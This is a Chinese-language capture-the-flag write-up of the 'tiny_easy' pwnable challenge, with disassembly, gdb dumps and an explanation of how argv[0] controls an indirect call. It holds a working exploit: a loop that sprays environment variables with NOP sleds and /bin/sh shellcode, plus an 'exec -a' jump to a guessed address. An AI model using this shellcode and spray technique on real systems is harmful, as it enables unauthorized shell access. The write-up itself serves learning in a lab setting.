前言
考验漏洞利用能力的题目,长姿势了。参考了别人的writeup
分析
没有源代码,就丢ida逆向了1
2
3
4
5
6
7
8
9
10
11
12
13
14LOAD:08048054 ; Attributes: noreturn
LOAD:08048054
LOAD:08048054 public start
LOAD:08048054 start proc near
LOAD:08048054 pop eax
LOAD:08048055 pop edx
LOAD:08048056 mov edx, [edx]
LOAD:08048058 call edx
LOAD:08048058 start endp ; sp-analysis failed
LOAD:08048058
LOAD:08048058 LOAD ends
LOAD:08048058
LOAD:08048058
LOAD:08048058 end start
这是什么程序??就这一点代码就什么都没了?当时也很蒙蔽,不过漏洞还是很容易看出来的。call
调用其实是可以通过栈内数据控制的,但是栈上的数据是什么呢?丢进gdb
看看1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 0x8048050: add BYTE PTR [eax],dl
0x8048052: add BYTE PTR [eax],al
=> 0x8048054: pop eax
0x8048055: pop edx
0x8048056: mov edx,DWORD PTR [edx]
0x8048058: call edx
0x804805a: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffcf23c0 --> 0x1
0004| 0xffcf23c4 --> 0xffcf32bb ("/root/桌面/test/tiny_easy")
0008| 0xffcf23c8 --> 0x0
0012| 0xffcf23cc --> 0xffcf32db ("XDG_VTNR=7")
0016| 0xffcf23d0 --> 0xffcf32e6 ("XDG_SESSION_ID=c2")
0020| 0xffcf23d4 --> 0xffcf32f8 ("XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/gyh")
0024| 0xffcf23d8 --> 0xffcf3327 ("CLUTTER_IM_MODULE=xim")
0028| 0xffcf23dc --> 0xffcf333d ("GPG_AGENT_INFO=/home/gyh/.gnupg/S.gpg-agent:0:1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048054 in ?? ()
gdb-peda$
原来栈上的数据就是传入参数和环境变量的地址,接下来执行到call edx
看看程序会转向哪儿。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x0
ECX: 0x0
EDX: 0x6d6f682f ('/hom')
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffcf23c8 --> 0x0
EIP: 0x8048058 (call edx)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048051: adc BYTE PTR [eax],al
0x8048053: add BYTE PTR [eax+0x5a],bl
0x8048056: mov edx,DWORD PTR [edx]
=> 0x8048058: call edx
0x804805a: add BYTE PTR [eax],al
0x804805c: add BYTE PTR [eax],al
0x804805e: add BYTE PTR [eax],al
0x8048060: add BYTE PTR [eax],al
可以看到edx
的值就是第一个传入参数的前4个字节,这里是/hom
。如果控制了这4个字节,就控制了程序的流程。
但是程序空间中没有调用任何函数代码,所以要getshell只有写入shellcode
并跳转执行才可,程序能控制写入的地方只有环境变量和传入参数了,于是可以将shellcode写到这里面。但是题目平台是开启ASLR
的,不能确定环境变量和传入参数的地址。这里可以控制程序跳转到一个大致的地址去,然后在环境变量里安排[NOP][shelcode]
类似的shellcode,其中nop
指令相对于shellcode
要非常多,这样当程序执行跳转时一旦跳到nop
覆盖的区域就会被引导至shellcode
。
这个大致的地址可以选取调试时见到的值如0xffcf333d
,shellcode
可以用pwntools的shellcraft模块生成,于是exp如下1
2# 导入环境变量
for i in `seq 1 500`; do export A_$i=$(python -c 'print "\x90"*4096+"jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"');done;
1 | exec -a $(python -c "print '\x3d\x33\xcf\xff'") ./tiny_easy & |
1 | tiny_easy@ubuntu:~$ for i in `seq 1 500`; do export A_$i=$(python -c 'print "\x90"*4096+"jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"');done; |
另外,我所参考的writeup实际上还使用了ulimit -s unlimited
关闭aslr的方法,但这个漏洞已经在题目平台修补了,可以参考CVE-2016-3672
漏洞描述或者这篇文章
总结
该题漏洞的利用方法类似heap spray
,只不过这是把shellcode
布置在环境变量的节区上,该方法以前知道但是到了正真使用的时候却忘了,看来还是要多多练习呀。